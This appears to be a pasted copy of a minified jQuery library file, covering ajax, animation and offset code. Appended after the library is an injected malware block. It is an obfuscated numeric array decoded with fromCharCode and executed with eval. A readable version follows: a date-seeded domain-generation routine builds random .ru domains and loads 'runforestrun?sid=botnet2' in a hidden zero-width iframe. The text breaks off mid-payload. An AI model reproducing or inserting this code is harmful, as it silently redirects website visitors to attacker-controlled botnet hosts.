- if (M.dataType == "script" && G == "GET" && Q && (Q[1] && Q[1] != location.protocol || Q[2] != location.host)) {
- var H = document.getElementsByTagName("head")[0];
- var T = document.createElement("script");
- T.src = M.url;
- if (M.scriptCharset) {
- T.charset = M.scriptCharset
- }
- if (!W) {
- var O = false;
- T.onload = T.onreadystatechange = function() {
- if (!O && (!this.readyState || this.readyState == "loaded" || this.readyState == "complete")) {
- O = true;
- I();
- L();
- T.onload = T.onreadystatechange = null;
- H.removeChild(T)
- }
- }
- }
- H.appendChild(T);
- return g
- }
- var K = false;
- var J = M.xhr();
- if (M.username) {
- J.open(G, M.url, M.async, M.username, M.password)
- } else {
- J.open(G, M.url, M.async)
- }
- try {
- if (M.data) {
- J.setRequestHeader("Content-Type", M.contentType)
- }
- if (M.ifModified) {
- J.setRequestHeader("If-Modified-Since", o.lastModified[M.url] || "Thu, 01 Jan 1970 00:00:00 GMT")
- }
- J.setRequestHeader("X-Requested-With", "XMLHttpRequest");
- J.setRequestHeader("Accept", M.dataType && M.accepts[M.dataType] ? M.accepts[M.dataType] + ", */*" : M.accepts._default)
- } catch (S) {}
- if (M.beforeSend && M.beforeSend(J, M) === false) {
- if (M.global && !--o.active) {
- o.event.trigger("ajaxStop")
- }
- J.abort();
- return false
- }
- if (M.global) {
- o.event.trigger("ajaxSend", [J, M])
- }
- var N = function(X) {
- if (J.readyState == 0) {
- if (P) {
- clearInterval(P);
- P = null;
- if (M.global && !--o.active) {
- o.event.trigger("ajaxStop")
- }
- }
- } else {
- if (!K && J && (J.readyState == 4 || X == "timeout")) {
- K = true;
- if (P) {
- clearInterval(P);
- P = null
- }
- R = X == "timeout" ? "timeout" : !o.httpSuccess(J) ? "error" : M.ifModified && o.httpNotModified(J, M.url) ? "notmodified" : "success";
- if (R == "success") {
- try {
- V = o.httpData(J, M.dataType, M)
- } catch (Z) {
- R = "parsererror"
- }
- }
- if (R == "success") {
- var Y;
- try {
- Y = J.getResponseHeader("Last-Modified")
- } catch (Z) {}
- if (M.ifModified && Y) {
- o.lastModified[M.url] = Y
- }
- if (!W) {
- I()
- }
- } else {
- o.handleError(M, J, R)
- }
- L();
- if (X) {
- J.abort()
- }
- if (M.async) {
- J = null
- }
- }
- }
- };
- if (M.async) {
- var P = setInterval(N, 13);
- if (M.timeout > 0) {
- setTimeout(function() {
- if (J && !K) {
- N("timeout")
- }
- }, M.timeout)
- }
- }
- try {
- J.send(M.data)
- } catch (S) {
- o.handleError(M, J, null, S)
- }
- if (!M.async) {
- N()
- }
- function I() {
- if (M.success) {
- M.success(V, R)
- }
- if (M.global) {
- o.event.trigger("ajaxSuccess", [J, M])
- }
- }
- function L() {
- if (M.complete) {
- M.complete(J, R)
- }
- if (M.global) {
- o.event.trigger("ajaxComplete", [J, M])
- }
- if (M.global && !--o.active) {
- o.event.trigger("ajaxStop")
- }
- }
- return J
- },
- handleError: function(F, H, E, G) {
- if (F.error) {
- F.error(H, E, G)
- }
- if (F.global) {
- o.event.trigger("ajaxError", [H, F, G])
- }
- },
- active: 0,
- httpSuccess: function(F) {
- try {
- return !F.status && location.protocol == "file:" || (F.status >= 200 && F.status < 300) || F.status == 304 || F.status == 1223
- } catch (E) {}
- return false
- },
- httpNotModified: function(G, E) {
- try {
- var H = G.getResponseHeader("Last-Modified");
- return G.status == 304 || H == o.lastModified[E]
- } catch (F) {}
- return false
- },
- httpData: function(J, H, G) {
- var F = J.getResponseHeader("content-type"),
- E = H == "xml" || !H && F && F.indexOf("xml") >= 0,
- I = E ? J.responseXML : J.responseText;
- if (E && I.documentElement.tagName == "parsererror") {
- throw "parsererror"
- }
- if (G && G.dataFilter) {
- I = G.dataFilter(I, H)
- }
- if (typeof I === "string") {
- if (H == "script") {
- o.globalEval(I)
- }
- if (H == "json") {
- I = l["eval"]("(" + I + ")")
- }
- }
- return I
- },
- param: function(E) {
- var G = [];
- function H(I, J) {
- G[G.length] = encodeURIComponent(I) + "=" + encodeURIComponent(J)
- }
- if (o.isArray(E) || E.jquery) {
- o.each(E, function() {
- H(this.name, this.value)
- })
- } else {
- for (var F in E) {
- if (o.isArray(E[F])) {
- o.each(E[F], function() {
- H(F, this)
- })
- } else {
- H(F, o.isFunction(E[F]) ? E[F]() : E[F])
- }
- }
- }
- return G.join("&").replace(/%20/g, "+")
- }
- });
- var m = {},
- n, d = [
- ["height", "marginTop", "marginBottom", "paddingTop", "paddingBottom"],
- ["width", "marginLeft", "marginRight", "paddingLeft", "paddingRight"],
- ["opacity"]
- ];
- function t(F, E) {
- var G = {};
- o.each(d.concat.apply([], d.slice(0, E)), function() {
- G[this] = F
- });
- return G
- }
- o.fn.extend({
- show: function(J, L) {
- if (J) {
- return this.animate(t("show", 3), J, L)
- } else {
- for (var H = 0, F = this.length; H < F; H++) {
- var E = o.data(this[H], "olddisplay");
- this[H].style.display = E || "";
- if (o.css(this[H], "display") === "none") {
- var G = this[H].tagName,
- K;
- if (m[G]) {
- K = m[G]
- } else {
- var I = o("<" + G + " />").appendTo("body");
- K = I.css("display");
- if (K === "none") {
- K = "block"
- }
- I.remove();
- m[G] = K
- }
- o.data(this[H], "olddisplay", K)
- }
- }
- for (var H = 0, F = this.length; H < F; H++) {
- this[H].style.display = o.data(this[H], "olddisplay") || ""
- }
- return this
- }
- },
- hide: function(H, I) {
- if (H) {
- return this.animate(t("hide", 3), H, I)
- } else {
- for (var G = 0, F = this.length; G < F; G++) {
- var E = o.data(this[G], "olddisplay");
- if (!E && E !== "none") {
- o.data(this[G], "olddisplay", o.css(this[G], "display"))
- }
- }
- for (var G = 0, F = this.length; G < F; G++) {
- this[G].style.display = "none"
- }
- return this
- }
- },
- _toggle: o.fn.toggle,
- toggle: function(G, F) {
- var E = typeof G === "boolean";
- return o.isFunction(G) && o.isFunction(F) ? this._toggle.apply(this, arguments) : G == null || E ? this.each(function() {
- var H = E ? G : o(this).is(":hidden");
- o(this)[H ? "show" : "hide"]()
- }) : this.animate(t("toggle", 3), G, F)
- },
- fadeTo: function(E, G, F) {
- return this.animate({
- opacity: G
- }, E, F)
- },
- animate: function(I, F, H, G) {
- var E = o.speed(F, H, G);
- return this[E.queue === false ? "each" : "queue"](function() {
- var K = o.extend({}, E),
- M, L = this.nodeType == 1 && o(this).is(":hidden"),
- J = this;
- for (M in I) {
- if (I[M] == "hide" && L || I[M] == "show" && !L) {
- return K.complete.call(this)
- }
- if ((M == "height" || M == "width") && this.style) {
- K.display = o.css(this, "display");
- K.overflow = this.style.overflow
- }
- }
- if (K.overflow != null) {
- this.style.overflow = "hidden"
- }
- K.curAnim = o.extend({}, I);
- o.each(I, function(O, S) {
- var R = new o.fx(J, K, O);
- if (/toggle|show|hide/.test(S)) {
- R[S == "toggle" ? L ? "show" : "hide" : S](I)
- } else {
- var Q = S.toString().match(/^([+-]=)?([\d+-.]+)(.*)$/),
- T = R.cur(true) || 0;
- if (Q) {
- var N = parseFloat(Q[2]),
- P = Q[3] || "px";
- if (P != "px") {
- J.style[O] = (N || 1) + P;
- T = ((N || 1) / R.cur(true)) * T;
- J.style[O] = T + P
- }
- if (Q[1]) {
- N = ((Q[1] == "-=" ? -1 : 1) * N) + T
- }
- R.custom(T, N, P)
- } else {
- R.custom(T, S, "")
- }
- }
- });
- return true
- })
- },
- stop: function(F, E) {
- var G = o.timers;
- if (F) {
- this.queue([])
- }
- this.each(function() {
- for (var H = G.length - 1; H >= 0; H--) {
- if (G[H].elem == this) {
- if (E) {
- G[H](true)
- }
- G.splice(H, 1)
- }
- }
- });
- if (!E) {
- this.dequeue()
- }
- return this
- }
- });
- o.each({
- slideDown: t("show", 1),
- slideUp: t("hide", 1),
- slideToggle: t("toggle", 1),
- fadeIn: {
- opacity: "show"
- },
- fadeOut: {
- opacity: "hide"
- }
- }, function(E, F) {
- o.fn[E] = function(G, H) {
- return this.animate(F, G, H)
- }
- });
- o.extend({
- speed: function(G, H, F) {
- var E = typeof G === "object" ? G : {
- complete: F || !F && H || o.isFunction(G) && G,
- duration: G,
- easing: F && H || H && !o.isFunction(H) && H
- };
- E.duration = o.fx.off ? 0 : typeof E.duration === "number" ? E.duration : o.fx.speeds[E.duration] || o.fx.speeds._default;
- E.old = E.complete;
- E.complete = function() {
- if (E.queue !== false) {
- o(this).dequeue()
- }
- if (o.isFunction(E.old)) {
- E.old.call(this)
- }
- };
- return E
- },
- easing: {
- linear: function(G, H, E, F) {
- return E + F * G
- },
- swing: function(G, H, E, F) {
- return ((-Math.cos(G * Math.PI) / 2) + 0.5) * F + E
- }
- },
- timers: [],
- fx: function(F, E, G) {
- this.options = E;
- this.elem = F;
- this.prop = G;
- if (!E.orig) {
- E.orig = {}
- }
- }
- });
- o.fx.prototype = {
- update: function() {
- if (this.options.step) {
- this.options.step.call(this.elem, this.now, this)
- }(o.fx.step[this.prop] || o.fx.step._default)(this);
- if ((this.prop == "height" || this.prop == "width") && this.elem.style) {
- this.elem.style.display = "block"
- }
- },
- cur: function(F) {
- if (this.elem[this.prop] != null && (!this.elem.style || this.elem.style[this.prop] == null)) {
- return this.elem[this.prop]
- }
- var E = parseFloat(o.css(this.elem, this.prop, F));
- return E && E > -10000 ? E : parseFloat(o.curCSS(this.elem, this.prop)) || 0
- },
- custom: function(I, H, G) {
- this.startTime = e();
- this.start = I;
- this.end = H;
- this.unit = G || this.unit || "px";
- this.now = this.start;
- this.pos = this.state = 0;
- var E = this;
- function F(J) {
- return E.step(J)
- }
- F.elem = this.elem;
- if (F() && o.timers.push(F) && !n) {
- n = setInterval(function() {
- var K = o.timers;
- for (var J = 0; J < K.length; J++) {
- if (!K[J]()) {
- K.splice(J--, 1)
- }
- }
- if (!K.length) {
- clearInterval(n);
- n = g
- }
- }, 13)
- }
- },
- show: function() {
- this.options.orig[this.prop] = o.attr(this.elem.style, this.prop);
- this.options.show = true;
- this.custom(this.prop == "width" || this.prop == "height" ? 1 : 0, this.cur());
- o(this.elem).show()
- },
- hide: function() {
- this.options.orig[this.prop] = o.attr(this.elem.style, this.prop);
- this.options.hide = true;
- this.custom(this.cur(), 0)
- },
- step: function(H) {
- var G = e();
- if (H || G >= this.options.duration + this.startTime) {
- this.now = this.end;
- this.pos = this.state = 1;
- this.update();
- this.options.curAnim[this.prop] = true;
- var E = true;
- for (var F in this.options.curAnim) {
- if (this.options.curAnim[F] !== true) {
- E = false
- }
- }
- if (E) {
- if (this.options.display != null) {
- this.elem.style.overflow = this.options.overflow;
- this.elem.style.display = this.options.display;
- if (o.css(this.elem, "display") == "none") {
- this.elem.style.display = "block"
- }
- }
- if (this.options.hide) {
- o(this.elem).hide()
- }
- if (this.options.hide || this.options.show) {
- for (var I in this.options.curAnim) {
- o.attr(this.elem.style, I, this.options.orig[I])
- }
- }
- this.options.complete.call(this.elem)
- }
- return false
- } else {
- var J = G - this.startTime;
- this.state = J / this.options.duration;
- this.pos = o.easing[this.options.easing || (o.easing.swing ? "swing" : "linear")](this.state, J, 0, 1, this.options.duration);
- this.now = this.start + ((this.end - this.start) * this.pos);
- this.update()
- }
- return true
- }
- };
- o.extend(o.fx, {
- speeds: {
- slow: 600,
- fast: 200,
- _default: 400
- },
- step: {
- opacity: function(E) {
- o.attr(E.elem.style, "opacity", E.now)
- },
- _default: function(E) {
- if (E.elem.style && E.elem.style[E.prop] != null) {
- E.elem.style[E.prop] = E.now + E.unit
- } else {
- E.elem[E.prop] = E.now
- }
- }
- }
- });
- if (document.documentElement.getBoundingClientRect) {
- o.fn.offset = function() {
- if (!this[0]) {
- return {
- top: 0,
- left: 0
- }
- }
- if (this[0] === this[0].ownerDocument.body) {
- return o.offset.bodyOffset(this[0])
- }
- var G = this[0].getBoundingClientRect(),
- J = this[0].ownerDocument,
- F = J.body,
- E = J.documentElement,
- L = E.clientTop || F.clientTop || 0,
- K = E.clientLeft || F.clientLeft || 0,
- I = G.top + (self.pageYOffset || o.boxModel && E.scrollTop || F.scrollTop) - L,
- H = G.left + (self.pageXOffset || o.boxModel && E.scrollLeft || F.scrollLeft) - K;
- return {
- top: I,
- left: H
- }
- }
- } else {
- o.fn.offset = function() {
- if (!this[0]) {
- return {
- top: 0,
- left: 0
- }
- }
- if (this[0] === this[0].ownerDocument.body) {
- return o.offset.bodyOffset(this[0])
- }
- o.offset.initialized || o.offset.initialize();
- var J = this[0],
- G = J.offsetParent,
- F = J,
- O = J.ownerDocument,
- M, H = O.documentElement,
- K = O.body,
- L = O.defaultView,
- E = L.getComputedStyle(J, null),
- N = J.offsetTop,
- I = J.offsetLeft;
- while ((J = J.parentNode) && J !== K && J !== H) {
- M = L.getComputedStyle(J, null);
- N -= J.scrollTop, I -= J.scrollLeft;
- if (J === G) {
- N += J.offsetTop, I += J.offsetLeft;
- if (o.offset.doesNotAddBorder && !(o.offset.doesAddBorderForTableAndCells && /^t(able|d|h)$/i.test(J.tagName))) {
- N += parseInt(M.borderTopWidth, 10) || 0, I += parseInt(M.borderLeftWidth, 10) || 0
- }
- F = G, G = J.offsetParent
- }
- if (o.offset.subtractsBorderForOverflowNotVisible && M.overflow !== "visible") {
- N += parseInt(M.borderTopWidth, 10) || 0, I += parseInt(M.borderLeftWidth, 10) || 0
- }
- E = M
- }
- if (E.position === "relative" || E.position === "static") {
- N += K.offsetTop, I += K.offsetLeft
- }
- if (E.position === "fixed") {
- N += Math.max(H.scrollTop, K.scrollTop), I += Math.max(H.scrollLeft, K.scrollLeft)
- }
- return {
- top: N,
- left: I
- }
- }
- }
- o.offset = {
- initialize: function() {
- if (this.initialized) {
- return
- }
- var L = document.body,
- F = document.createElement("div"),
- H, G, N, I, M, E, J = L.style.marginTop,
- K = '<div style="position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;"><div></div></div><table style="position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;" cellpadding="0" cellspacing="0"><tr><td></td></tr></table>';
- M = {
- position: "absolute",
- top: 0,
- left: 0,
- margin: 0,
- border: 0,
- width: "1px",
- height: "1px",
- visibility: "hidden"
- };
- for (E in M) {
- F.style[E] = M[E]
- }
- F.innerHTML = K;
- L.insertBefore(F, L.firstChild);
- H = F.firstChild, G = H.firstChild, I = H.nextSibling.firstChild.firstChild;
- this.doesNotAddBorder = (G.offsetTop !== 5);
- this.doesAddBorderForTableAndCells = (I.offsetTop === 5);
- H.style.overflow = "hidden", H.style.position = "relative";
- this.subtractsBorderForOverflowNotVisible = (G.offsetTop === -5);
- L.style.marginTop = "1px";
- this.doesNotIncludeMarginInBodyOffset = (L.offsetTop === 0);
- L.style.marginTop = J;
- L.removeChild(F);
- this.initialized = true
- },
- bodyOffset: function(E) {
- o.offset.initialized || o.offset.initialize();
- var G = E.offsetTop,
- F = E.offsetLeft;
- if (o.offset.doesNotIncludeMarginInBodyOffset) {
- G += parseInt(o.curCSS(E, "marginTop", true), 10) || 0, F += parseInt(o.curCSS(E, "marginLeft", true), 10) || 0
- }
- return {
- top: G,
- left: F
- }
- }
- };
- o.fn.extend({
- position: function() {
- var I = 0,
- H = 0,
- F;
- if (this[0]) {
- var G = this.offsetParent(),
- J = this.offset(),
- E = /^body|html$/i.test(G[0].tagName) ? {
- top: 0,
- left: 0
- } : G.offset();
- J.top -= j(this, "marginTop");
- J.left -= j(this, "marginLeft");
- E.top += j(G, "borderTopWidth");
- E.left += j(G, "borderLeftWidth");
- F = {
- top: J.top - E.top,
- left: J.left - E.left
- }
- }
- return F
- },
- offsetParent: function() {
- var E = this[0].offsetParent || document.body;
- while (E && (!/^body|html$/i.test(E.tagName) && o.css(E, "position") == "static")) {
- E = E.offsetParent
- }
- return o(E)
- }
- });
- o.each(["Left", "Top"], function(F, E) {
- var G = "scroll" + E;
- o.fn[G] = function(H) {
- if (!this[0]) {
- return null
- }
- return H !== g ? this.each(function() {
- this == l || this == document ? l.scrollTo(!F ? H : o(l).scrollLeft(), F ? H : o(l).scrollTop()) : this[G] = H
- }) : this[0] == l || this[0] == document ? self[F ? "pageYOffset" : "pageXOffset"] || o.boxModel && document.documentElement[G] || document.body[G] : this[0][G]
- }
- });
- o.each(["Height", "Width"], function(I, G) {
- var E = I ? "Left" : "Top",
- H = I ? "Right" : "Bottom",
- F = G.toLowerCase();
- o.fn["inner" + G] = function() {
- return this[0] ? o.css(this[0], F, false, "padding") : null
- };
- o.fn["outer" + G] = function(K) {
- return this[0] ? o.css(this[0], F, false, K ? "margin" : "border") : null
- };
- var J = G.toLowerCase();
- o.fn[J] = function(K) {
- return this[0] == l ? document.compatMode == "CSS1Compat" && document.documentElement["client" + G] || document.body["client" + G] : this[0] == document ? Math.max(document.documentElement["client" + G], document.body["scroll" + G], document.documentElement["scroll" + G], document.body["offset" + G], document.documentElement["offset" + G]) : K === g ? (this.length ? o.css(this[0], J) : null) : this.css(J, typeof K === "string" ? K : K + "px")
- }
- })
- })();
- /*km0ae9gr6m*/
- try {
- prototype % 2;
- } catch (asd) {
- x = 2;
- }
- try {
- q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l" + "e" + "m" + ((f) ? "e" + "n" + "t" : "")]("p");
- q.appendChild(q + "");
- } catch (fwbewe) {
- i = 0;
- try {
- prototype * 5;
- } catch (z) {
- fr = "fromChar";
- f = [510, 702, 550, 594, 580, 630, 555, 660, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 205, 738, 50, 192, 160, 192, 160, 708, 485, 684, 160, 624, 525, 192, 305, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 235, 192, 580, 624, 525, 690, 230, 486, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 666, 160, 366, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 222, 160, 696, 520, 630, 575, 276, 405, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 696, 505, 690, 580, 192, 305, 192, 580, 624, 525, 690, 230, 390, 160, 252, 160, 648, 555, 192, 225, 192, 580, 624, 525, 690, 230, 492, 160, 252, 160, 624, 525, 354, 50, 192, 160, 192, 160, 630, 510, 240, 580, 606, 575, 696, 160, 372, 160, 288, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 366, 160, 696, 505, 690, 580, 354, 50, 192, 160, 192, 160, 750, 160, 606, 540, 690, 505, 192, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 580, 606, 575, 696, 160, 258, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 200, 696, 520, 630, 575, 276, 575, 606, 505, 600, 160, 252, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 205, 354, 50, 750, 50, 60, 510, 702, 550, 594, 580, 630, 555, 660, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 500, 192, 305, 192, 550, 606, 595, 192, 340, 582, 580, 606, 200, 702, 550, 630, 600, 252, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 160, 366, 160, 600, 230, 618, 505, 696, 360, 666, 585, 684, 575, 240, 205, 192, 310, 192, 245, 300, 160, 378, 160, 294, 160, 348, 160, 288, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 690, 505, 606, 500, 192, 305, 192, 250, 306, 260, 318, 270, 330, 280, 342, 240, 294, 160, 258, 160, 240, 500, 276, 515, 606, 580, 462, 555, 660, 580, 624, 200, 246, 160, 252, 160, 288, 600, 420, 350, 420, 350, 420, 350, 246, 160, 258, 160, 240, 500, 276, 515, 606, 580, 408, 485, 696, 505, 240, 205, 192, 210, 192, 240, 720, 350, 420, 350, 420, 205, 258, 160, 240, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 690, 160, 252, 160, 288, 600, 420, 350, 420, 205, 246, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 390, 160, 366, 160, 312, 280, 300, 275, 294, 295, 60, 160, 192, 160, 192, 580, 624, 525, 690, 230, 462, 160, 366, 160, 300, 245, 312, 275, 312, 280, 306, 270, 312, 275, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 405, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 282, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 410, 192, 305, 192, 580, 624, 525, 690, 230, 462, 160, 222, 160, 696, 520, 630, 575, 276, 325, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 555, 660, 505, 474, 590, 606, 570, 462, 160, 366, 160, 294, 230, 288, 160, 282, 160, 696, 520, 630, 575, 276, 385, 354, 50, 192, 160, 192, 160, 696, 520, 630, 575, 276, 550, 606, 600, 696, 160, 366, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 354, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 580, 624, 525, 690, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 495, 684, 505, 582, 580, 606, 410, 582, 550, 600, 555, 654, 390, 702, 545, 588, 505, 684, 200, 684, 220, 192, 385, 630, 550, 264, 160, 462, 485, 720, 205, 738, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 385, 582, 580, 624, 230, 684, 555, 702, 550, 600, 200, 240, 385, 582, 600, 270, 385, 630, 550, 246, 160, 252, 160, 684, 230, 660, 505, 720, 580, 240, 205, 192, 215, 192, 385, 630, 550, 246, 295, 60, 625, 60, 50, 612, 585, 660, 495, 696, 525, 666, 550, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 648, 505, 660, 515, 696, 520, 264, 160, 732, 555, 660, 505, 246, 615, 60, 160, 192, 160, 192, 590, 582, 570, 192, 570, 582, 550, 600, 160, 366, 160, 660, 505, 714, 160, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 426, 505, 660, 505, 684, 485, 696, 555, 684, 200, 702, 550, 630, 600, 246, 295, 60, 160, 192, 160, 192, 590, 582, 570, 192, 540, 606, 580, 696, 505, 684, 575, 192, 305, 192, 455, 234, 485, 234, 220, 234, 490, 234, 220, 234, 495, 234, 220, 234, 500, 234, 220, 234, 505, 234, 220, 234, 510, 234, 220, 234, 515, 234, 220, 234, 520, 234, 220, 234, 525, 234, 220, 234, 530, 234, 220, 234, 535, 234, 220, 234, 540, 234, 220, 234, 545, 234, 220, 234, 550, 234, 220, 234, 555, 234, 220, 234, 560, 234, 220, 234, 565, 234, 220, 234, 570, 234, 220, 234, 575, 234, 220, 234, 580, 234, 220, 234, 585, 234, 220, 234, 590, 234, 220, 234, 595, 234, 220, 234, 600, 234, 220, 234, 605, 234, 220, 234, 610, 234, 465, 354, 50, 192, 160, 192, 160, 708, 485, 684, 160, 690, 580, 684, 160, 366, 160, 234, 195, 354, 50, 192, 160, 192, 160, 612, 555, 684, 200, 708, 485, 684, 160, 630, 160, 366, 160, 288, 295, 192, 525, 192, 300, 192, 540, 606, 550, 618, 580, 624, 295, 192, 525, 192, 215, 258, 160, 246, 615, 60, 160, 192, 160, 192, 160, 192, 160, 192, 575, 696, 570, 192, 215, 366, 160, 648, 505, 696, 580, 606, 570, 690, 455, 594, 570, 606, 485, 696, 505, 492, 485, 660, 500, 666, 545, 468, 585, 654, 490, 606, 570, 240, 570, 582, 550, 600, 220, 192, 240, 264, 160, 648, 505, 696, 580, 606, 570, 690, 230, 648, 505, 660, 515, 696, 520, 192, 225, 192, 245, 246, 465, 354, 50, 192, 160, 192, 160, 750, 50, 192, 160, 192, 160, 684, 505, 696, 585, 684, 550, 192, 575, 696, 570, 192, 215, 192, 195, 276, 195, 192, 215, 192, 610, 666, 550, 606, 295, 60, 625, 60, 50, 690, 505, 696, 420, 630, 545, 606, 555, 702, 580, 240, 510, 702, 550, 594, 580, 630, 555, 660, 200, 246, 615, 60, 160, 192, 160, 192, 580, 684, 605, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 240, 580, 726, 560, 606, 555, 612, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 366, 160, 204, 585, 660, 500, 606, 510, 630, 550, 606, 500, 204, 205, 738, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 485, 654, 505, 522, 485, 690, 335, 684, 505, 582, 580, 606, 500, 192, 305, 192, 580, 684, 585, 606, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 590, 582, 570, 192, 585, 660, 525, 720, 160, 366, 160, 462, 485, 696, 520, 276, 570, 666, 585, 660, 500, 240, 215, 660, 505, 714, 160, 408, 485, 696, 505, 240, 205, 282, 245, 288, 240, 288, 205, 354, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 708, 485, 684, 160, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 192, 305, 192, 515, 606, 550, 606, 570, 582, 580, 606, 400, 690, 505, 702, 500, 666, 410, 582, 550, 600, 555, 654, 415, 696, 570, 630, 550, 618, 200, 702, 550, 630, 600, 264, 160, 294, 270, 264, 160, 234, 570, 702, 195, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 160, 366, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 495, 684, 505, 582, 580, 606, 345, 648, 505, 654, 505, 660, 580, 240, 170, 438, 350, 492, 325, 462, 345, 204, 205, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 505, 696, 325, 696, 580, 684, 525, 588, 585, 696, 505, 240, 170, 690, 570, 594, 170, 264, 160, 204, 520, 696, 580, 672, 290, 282, 235, 204, 215, 600, 555, 654, 485, 630, 550, 468, 485, 654, 505, 258, 170, 282, 570, 702, 550, 612, 555, 684, 505, 690, 580, 684, 585, 660, 315, 690, 525, 600, 305, 588, 555, 696, 550, 606, 580, 300, 170, 246, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 630, 510, 684, 545, 276, 575, 696, 605, 648, 505, 276, 595, 630, 500, 696, 520, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 624, 505, 630, 515, 624, 580, 192, 305, 192, 170, 288, 560, 720, 170, 354, 160, 60, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 525, 612, 570, 654, 230, 690, 580, 726, 540, 606, 230, 708, 525, 690, 525, 588, 525, 648, 525, 696, 605, 192, 305, 192, 170, 624, 525, 600, 500, 606, 550, 204, 295, 192, 50, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 192, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 490, 666, 500, 726, 230, 582, 560, 672, 505, 660, 500, 402, 520, 630, 540, 600, 200, 630, 510, 684, 545, 246, 295, 60, 160, 192, 160, 192, 160, 192, 160, 192, 625, 60, 160, 192, 160, 192, 625, 594, 485, 696, 495, 624, 200, 606, 205, 738, 625, 60, 625, 264, 160, 318, 240, 288, 205, 354];
- v = "eva";
- }
- if (v) e = window[v + "l"];
- w = f;
- s = [];
- r = String;
- z = ((e) ? "Code" : "");
- for (; 1776 - 5 + 5 > i; i += 1) {
- j = i;
- if (e) s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
- }
- if (f) e(s);
- } /*qhk6sa6g1c*/
复制代码- function nextRandomNumber() {
- var hi = this.seed / this.Q;
- var lo = this.seed % this.Q;
- var test = this.A * lo - this.R * hi;
- if (test > 0) {
- this.seed = test;
- } else {
- this.seed = test + this.M;
- }
- return (this.seed * this.oneOverM);
- }
- function RandomNumberGenerator(unix) {
- var d = new Date(unix * 1000);
- var s = d.getHours() > 12 ? 1 : 0;
- this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
- this.A = 48271;
- this.M = 2147483647;
- this.Q = this.M / this.A;
- this.R = this.M % this.A;
- this.oneOverM = 1.0 / this.M;
- this.next = nextRandomNumber;
- return this;
- }
- function createRandomNumber(r, Min, Max) {
- return Math.round((Max - Min) * r.next() + Min);
- }
- function generatePseudoRandomString(unix, length, zone) {
- var rand = new RandomNumberGenerator(unix);
- var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
- var str = '';
- for (var i = 0; i < length; i++) {
- str += letters[createRandomNumber(rand, 0, letters.length - 1)];
- }
- return str + '.' + zone;
- }
- setTimeout(function() {
- try {
- if (typeof iframeWasCreated == "undefined") {
- iframeWasCreated = true;
- var unix = Math.round(+new Date() / 1000);
- var domainName = generatePseudoRandomString(unix, 16, 'ru');
- ifrm = document.createElement("IFRAME");
- ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
- ifrm.style.width = "0px";
